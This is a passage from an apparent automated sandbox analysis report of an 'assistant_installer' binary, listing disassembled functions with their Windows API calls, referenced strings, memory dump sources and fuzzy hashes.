                                                                                                                                                                                                                • Associated: 00000014.00000002.2698461477.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698484109.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698511239.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_20_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: Token$ErrorInformationLastProcess$AllocateCheckCurrentDuplicateFreeInitializeMembershipOpen
                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                • API String ID: 3176607045-0
                                                                                                                                                                                                                • Opcode ID: e0904bc465e816a34c709fc80abf3b4976c72a247038b108ce4001fc276c93dd
                                                                                                                                                                                                                • Instruction ID: 186e9ac82d6c776ec6632dc2ccf047872dface6df5488c1a68c9f9fb2a8e3af4
                                                                                                                                                                                                                • Opcode Fuzzy Hash: e0904bc465e816a34c709fc80abf3b4976c72a247038b108ce4001fc276c93dd
                                                                                                                                                                                                                • Instruction Fuzzy Hash: 06417171900309DFDB10AFA4DC49AEEBBF4FF49314F14412AE511B61A0EB799985CBA1
                                                                                                                                                                                                                Function 00714A40 Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 244COMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • GetDesktopWindow.USER32 ref: 00714AE8
                                                                                                                                                                                                                • FindWindowExW.USER32(00000000,00000000,ApplicationFrameWindow,00000000), ref: 00714AF6
                                                                                                                                                                                                                • GetDesktopWindow.USER32 ref: 00714BB5
                                                                                                                                                                                                                • FindWindowExW.USER32(00000000,?,ApplicationFrameWindow,00000000), ref: 00714BC4
                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000014.00000002.2698307317.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698285865.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698461477.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698484109.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698511239.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_20_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: Window$DesktopFind
                                                                                                                                                                                                                • String ID: ApplicationFrameWindow$http
                                                                                                                                                                                                                • API String ID: 2454690640-1697478608
                                                                                                                                                                                                                • Opcode ID: 8532c62b871f9545b904c2fd0200af55b8b808520cff7eb0ac6051f1783f76c4
                                                                                                                                                                                                                • Instruction ID: ddf16fe3eaf4641c85ab79894a5cfb430fe8bc813cc146967f0b8b3c366aaa87
                                                                                                                                                                                                                • Opcode Fuzzy Hash: 8532c62b871f9545b904c2fd0200af55b8b808520cff7eb0ac6051f1783f76c4
                                                                                                                                                                                                                • Instruction Fuzzy Hash: 0681A3B1E012059FDB14EFA8D885AEEBBB5FF44310F150029E815E7381DB78AA45CBD1
                                                                                                                                                                                                                Function 0078E230 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 192COMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • TryAcquireSRWLockExclusive.KERNEL32(00000000,'v,?,?,?,00756B03,'v,?,?,0076E527,?), ref: 0078E251
                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000014.00000002.2698307317.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698285865.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698461477.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698484109.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698511239.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_20_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: AcquireExclusiveLock
                                                                                                                                                                                                                • String ID: 'v
                                                                                                                                                                                                                • API String ID: 4021432409-500230326
                                                                                                                                                                                                                • Opcode ID: ab9d88f953a465b0801a85a1ba9dda3b9222d45e92ce160ae370cba0cdea2ffc
                                                                                                                                                                                                                • Instruction ID: d704006878a2c28cbc1d3ae6ec32c99162595486e7dddd6cba08288d2b08e72c
                                                                                                                                                                                                                • Opcode Fuzzy Hash: ab9d88f953a465b0801a85a1ba9dda3b9222d45e92ce160ae370cba0cdea2ffc
                                                                                                                                                                                                                • Instruction Fuzzy Hash: 7B71ABB0B00205CFDB14EF68D895A6ABBF5FF89310F1541A9E90A9B752D738EC41CB91
                                                                                                                                                                                                                Function 00754C10 Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 161fileCOMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • CreateFileMappingW.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,?,00000000), ref: 00754CCF
                                                                                                                                                                                                                • GetLastError.KERNEL32 ref: 00754CE2
                                                                                                                                                                                                                • SetLastError.KERNEL32(00000000), ref: 00754D1D
                                                                                                                                                                                                                • MapViewOfFile.KERNEL32(?,?,?,?,?), ref: 00754DF9
                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                • MapFileRegionToMemory, xrefs: 00754C5A
                                                                                                                                                                                                                • ../../base/files/memory_mapped_file_win.cc, xrefs: 00754C55
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000014.00000002.2698307317.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698285865.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698461477.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698484109.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698511239.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_20_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: ErrorFileLast$CreateMappingView
                                                                                                                                                                                                                • String ID: ../../base/files/memory_mapped_file_win.cc$MapFileRegionToMemory
                                                                                                                                                                                                                • API String ID: 2231327692-1672964651
                                                                                                                                                                                                                • Opcode ID: b10219987276370f5cf04ffb5759b903ab48c16485c19a94143a37f45c85cb36
                                                                                                                                                                                                                • Instruction ID: 5616593f937abf20277595c3f5abd12c89568177e3ec856dd3392a64feeff9a9
                                                                                                                                                                                                                • Opcode Fuzzy Hash: b10219987276370f5cf04ffb5759b903ab48c16485c19a94143a37f45c85cb36
                                                                                                                                                                                                                • Instruction Fuzzy Hash: FF51E1716043009BD710DF24C885B6BB7F6FBC4715F148A1DFA8587282DBB8E849CB52
                                                                                                                                                                                                                Function 0070BADE Relevance: 10.6, APIs: 7, Instructions: 136COMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • CharNextW.USER32(?,00000000,75A3A7D0,?,00000000,?,80004005), ref: 0070BB07
                                                                                                                                                                                                                • CharNextW.USER32(?,00000000,75A3A7D0,?,00000000,?,80004005), ref: 0070BB1D
                                                                                                                                                                                                                • CharNextW.USER32(00000000,?,00000000,75A3A7D0), ref: 0070BB44
                                                                                                                                                                                                                • CharNextW.USER32(00000000,?,00000000,75A3A7D0), ref: 0070BB60
                                                                                                                                                                                                                • CharNextW.USER32(00000000,?,00000000,75A3A7D0), ref: 0070BB6B
                                                                                                                                                                                                                • CharNextW.USER32(?,00000000,75A3A7D0,?,00000000,?,80004005), ref: 0070BBEB
                                                                                                                                                                                                                • CharNextW.USER32(?,?,00000000,75A3A7D0), ref: 0070BC53
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000014.00000002.2698307317.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698285865.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698461477.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698484109.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698511239.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_20_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: CharNext
                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                • API String ID: 3213498283-0
                                                                                                                                                                                                                • Opcode ID: 42ea2f347825a9acdad855a83634b29b812e768eac2ef6ac38a024d8bfcab54c
                                                                                                                                                                                                                • Instruction ID: 9b8a6e5930873121ad8cfae6457b071978a7f34389c4d19583eb3d672a473e19
                                                                                                                                                                                                                • Opcode Fuzzy Hash: 42ea2f347825a9acdad855a83634b29b812e768eac2ef6ac38a024d8bfcab54c
                                                                                                                                                                                                                • Instruction Fuzzy Hash: 8641E574600206CFDB249F58C894A7EB7F2FFA8315B64453EE882D72B4EB785E419B50
                                                                                                                                                                                                                Function 0082BD70 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 120COMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • _ValidateLocalCookies.LIBCMT ref: 0082BDA7
                                                                                                                                                                                                                • ___except_validate_context_record.LIBVCRUNTIME ref: 0082BDAF
                                                                                                                                                                                                                • _ValidateLocalCookies.LIBCMT ref: 0082BE38
                                                                                                                                                                                                                • __IsNonwritableInCurrentImage.LIBCMT ref: 0082BE63
                                                                                                                                                                                                                • _ValidateLocalCookies.LIBCMT ref: 0082BEB8
                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000014.00000002.2698307317.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698285865.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698461477.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698484109.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698511239.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_20_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
                                                                                                                                                                                                                • String ID: csm
                                                                                                                                                                                                                • API String ID: 1170836740-1018135373
                                                                                                                                                                                                                • Opcode ID: 49c25710ba5bdd1ea63a0849d8a51380c07102ed8c339891fc4aa285ea3ff994
                                                                                                                                                                                                                • Instruction ID: 2583abcb57ad48500bbbcd2ba5925a915033d438954d5731d8bbc6d483119b04
                                                                                                                                                                                                                • Opcode Fuzzy Hash: 49c25710ba5bdd1ea63a0849d8a51380c07102ed8c339891fc4aa285ea3ff994
                                                                                                                                                                                                                • Instruction Fuzzy Hash: A441C038A02229ABCF10DF6CD880ADEBBB5FF45328F148195E914DB352D7319A51CF92
                                                                                                                                                                                                                Function 00756CC0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 106threadCOMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • CreateThread.KERNEL32(00000000,00100000,00757020,00000000,00010000,00000000), ref: 00756D0B
                                                                                                                                                                                                                • GetLastError.KERNEL32(?,?,?), ref: 00756D22
                                                                                                                                                                                                                • CloseHandle.KERNEL32(00000000,?,?,?), ref: 00756D4E
                                                                                                                                                                                                                • __Init_thread_header.LIBCMT ref: 00756DD2
                                                                                                                                                                                                                • __Init_thread_footer.LIBCMT ref: 00756DFC
                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                • create_thread_last_error, xrefs: 00756DE5
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000014.00000002.2698307317.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698285865.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698461477.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698484109.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698511239.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_20_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: CloseCreateErrorHandleInit_thread_footerInit_thread_headerLastThread
                                                                                                                                                                                                                • String ID: create_thread_last_error
                                                                                                                                                                                                                • API String ID: 1016829980-3219933969
                                                                                                                                                                                                                • Opcode ID: 96ad4f6f2968919433b931eecbb3a8fe7f5a25cd7474b4b338c98a09251482d5
                                                                                                                                                                                                                • Instruction ID: 764baf70ca9556a6d14f5065ed1bdd3cceadf8edb984b9f9b61c1f0714fadc8f
                                                                                                                                                                                                                • Opcode Fuzzy Hash: 96ad4f6f2968919433b931eecbb3a8fe7f5a25cd7474b4b338c98a09251482d5
                                                                                                                                                                                                                • Instruction Fuzzy Hash: 2E313BB1B003149BEF10AF68EC86BAE77B4FB45311F444425FC49D7241D6B9AC49D762
                                                                                                                                                                                                                Function 00717D74 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 103COMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000014.00000002.2698307317.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698285865.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698461477.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698484109.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698511239.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_20_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: _strlen
                                                                                                                                                                                                                • String ID: data$name$type
                                                                                                                                                                                                                • API String ID: 4218353326-3295437529
                                                                                                                                                                                                                • Opcode ID: 292342a88cd6c3e93d8524050358b0709b96a987696215f4aa2034c0de06b7a3
                                                                                                                                                                                                                • Instruction ID: b87be818fd7b28b9179addd6f2b9d06b88b05ee49a8fdd30022ea4a9718aec02
                                                                                                                                                                                                                • Opcode Fuzzy Hash: 292342a88cd6c3e93d8524050358b0709b96a987696215f4aa2034c0de06b7a3
                                                                                                                                                                                                                • Instruction Fuzzy Hash: 513152B1E042259BCF04DFAC94959AB7BB9FF48320B0540A9FD45EB342D6349E15CBE2
                                                                                                                                                                                                                Function 0070B41A Relevance: 10.6, APIs: 7, Instructions: 101libraryCOMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • LoadLibraryExW.KERNEL32(?,00000000,00000060), ref: 0070B461
                                                                                                                                                                                                                • LoadLibraryExW.KERNEL32(?,00000000,00000002), ref: 0070B472
                                                                                                                                                                                                                  • Part of subcall function 0070B14F: GetLastError.KERNEL32(?,0070B513), ref: 0070B152
                                                                                                                                                                                                                • FindResourceW.KERNEL32(00000000,?,?), ref: 0070B489
                                                                                                                                                                                                                • LoadResource.KERNEL32(00000000,00000000), ref: 0070B497
                                                                                                                                                                                                                • SizeofResource.KERNEL32(00000000,00000000), ref: 0070B4A9
                                                                                                                                                                                                                • MultiByteToWideChar.KERNEL32(00000003,00000000,?,00000000,?,00000000,00000001), ref: 0070B4E1
                                                                                                                                                                                                                • FreeLibrary.KERNEL32(00000000), ref: 0070B516
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000014.00000002.2698307317.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698285865.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698461477.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698484109.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698511239.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_20_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: LibraryLoadResource$ByteCharErrorFindFreeLastMultiSizeofWide
                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                • API String ID: 3178495524-0
                                                                                                                                                                                                                • Opcode ID: 99a6b3c8f5bb97c9793d36c1e684684aff6e575e86d336c5200ad24256a717e0
                                                                                                                                                                                                                • Instruction ID: 5e4508812b0deb77731db33070606bc7661c434814146286178820b560f74e88
                                                                                                                                                                                                                • Opcode Fuzzy Hash: 99a6b3c8f5bb97c9793d36c1e684684aff6e575e86d336c5200ad24256a717e0
                                                                                                                                                                                                                • Instruction Fuzzy Hash: A13192B1600119EBDB20AB24DC45BAE77BCEF84714F1485A5F505D62C1EB348F91CBAA
                                                                                                                                                                                                                Function 00757520 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 96registryCOMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • CreateEventW.KERNEL32(?,?,?,?,00757DF6,33B6CE54,33B6CE54), ref: 0075754E
                                                                                                                                                                                                                • GetLastError.KERNEL32(?,?,?,?,00757DF6,33B6CE54,33B6CE54), ref: 0075755B
                                                                                                                                                                                                                • SetLastError.KERNEL32(00000000,?,?,?,?,00757DF6,33B6CE54,33B6CE54), ref: 00757598
                                                                                                                                                                                                                  • Part of subcall function 00758370: GetHandleVerifier.ASSISTANT_INSTALLER(?,?,0075631A,?,00000000,?,008A4CF8,?,?,?,?,0075648D,00000000), ref: 00758377
                                                                                                                                                                                                                • RegNotifyChangeKeyValue.ADVAPI32(-0000000C,00000001,0000000F,?,00000001,00757DF6,33B6CE54,33B6CE54), ref: 007575D7
                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000014.00000002.2698307317.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698285865.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698461477.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698484109.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698511239.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_20_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: ErrorLast$ChangeCreateEventHandleNotifyValueVerifier
                                                                                                                                                                                                                • String ID: ../../base/win/registry.cc$StartWatching
                                                                                                                                                                                                                • API String ID: 2078779793-73839631
                                                                                                                                                                                                                • Opcode ID: a224fe9ab869e197553517068796a57342b03c82f9658afa893611d0c4f02518
                                                                                                                                                                                                                • Instruction ID: fe898f7ef4d343f19225d93d322a5a041a4e2afa56b8b095d9212d32ebf8d1d6
                                                                                                                                                                                                                • Opcode Fuzzy Hash: a224fe9ab869e197553517068796a57342b03c82f9658afa893611d0c4f02518
                                                                                                                                                                                                                • Instruction Fuzzy Hash: 9F31E471200208DBDB24AF24DC86B9A77A9FF04716F044839F94AD7212EB79F519CB51
                                                                                                                                                                                                                Function 00754AC0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 95fileCOMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • CreateFileMappingW.KERNEL32 ref: 00754B50
                                                                                                                                                                                                                • GetLastError.KERNEL32 ref: 00754B5D
                                                                                                                                                                                                                • SetLastError.KERNEL32(00000000), ref: 00754B9A
                                                                                                                                                                                                                  • Part of subcall function 00758370: GetHandleVerifier.ASSISTANT_INSTALLER(?,?,0075631A,?,00000000,?,008A4CF8,?,?,?,?,0075648D,00000000), ref: 00758377
                                                                                                                                                                                                                • MapViewOfFile.KERNEL32 ref: 00754BE1
                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                • MapImageToMemory, xrefs: 00754B08
                                                                                                                                                                                                                • ../../base/files/memory_mapped_file_win.cc, xrefs: 00754B03
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000014.00000002.2698307317.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698285865.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698461477.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698484109.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698511239.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_20_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: ErrorFileLast$CreateHandleMappingVerifierView
                                                                                                                                                                                                                • String ID: ../../base/files/memory_mapped_file_win.cc$MapImageToMemory
                                                                                                                                                                                                                • API String ID: 1014098455-1841746395
                                                                                                                                                                                                                • Opcode ID: 92a2ac2b0286854ca12cdb690cb0b038d07c911aee0fb64ea1f4f275e9ac9306
                                                                                                                                                                                                                • Instruction ID: e77e11863527db5265ae070f781af276f226c0c11f3a73dbf76fdeb8a22f0642
                                                                                                                                                                                                                • Opcode Fuzzy Hash: 92a2ac2b0286854ca12cdb690cb0b038d07c911aee0fb64ea1f4f275e9ac9306
                                                                                                                                                                                                                • Instruction Fuzzy Hash: 7C31D3B25047418BD710AF28888A66EB7F5FFC9725F040B1DF9D592682EB78E548C782
                                                                                                                                                                                                                Function 00758510 Relevance: 10.6, APIs: 7, Instructions: 92COMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • __Init_thread_header.LIBCMT ref: 0075856A
                                                                                                                                                                                                                • GetVersionExW.KERNEL32(0000011C), ref: 0075859C
                                                                                                                                                                                                                • GetProductInfo.KERNEL32(?,?,00000000,00000000,00000000), ref: 007585BB
                                                                                                                                                                                                                • __Init_thread_footer.LIBCMT ref: 00758607
                                                                                                                                                                                                                • __Init_thread_header.LIBCMT ref: 00758619
                                                                                                                                                                                                                  • Part of subcall function 008294E7: EnterCriticalSection.KERNEL32(008A4FC0,?,?,?,0078EFCF,008A5134,?,?,?,?,0078EBD1,00000000,00000000), ref: 008294F2
                                                                                                                                                                                                                  • Part of subcall function 008294E7: LeaveCriticalSection.KERNEL32(008A4FC0,?,?,?,0078EFCF,008A5134,?,?,?,?,0078EBD1,00000000,00000000), ref: 0082952F
                                                                                                                                                                                                                • GetNativeSystemInfo.KERNEL32(?), ref: 00758644
                                                                                                                                                                                                                • __Init_thread_footer.LIBCMT ref: 00758670
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000014.00000002.2698307317.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698285865.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698461477.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698484109.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698511239.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
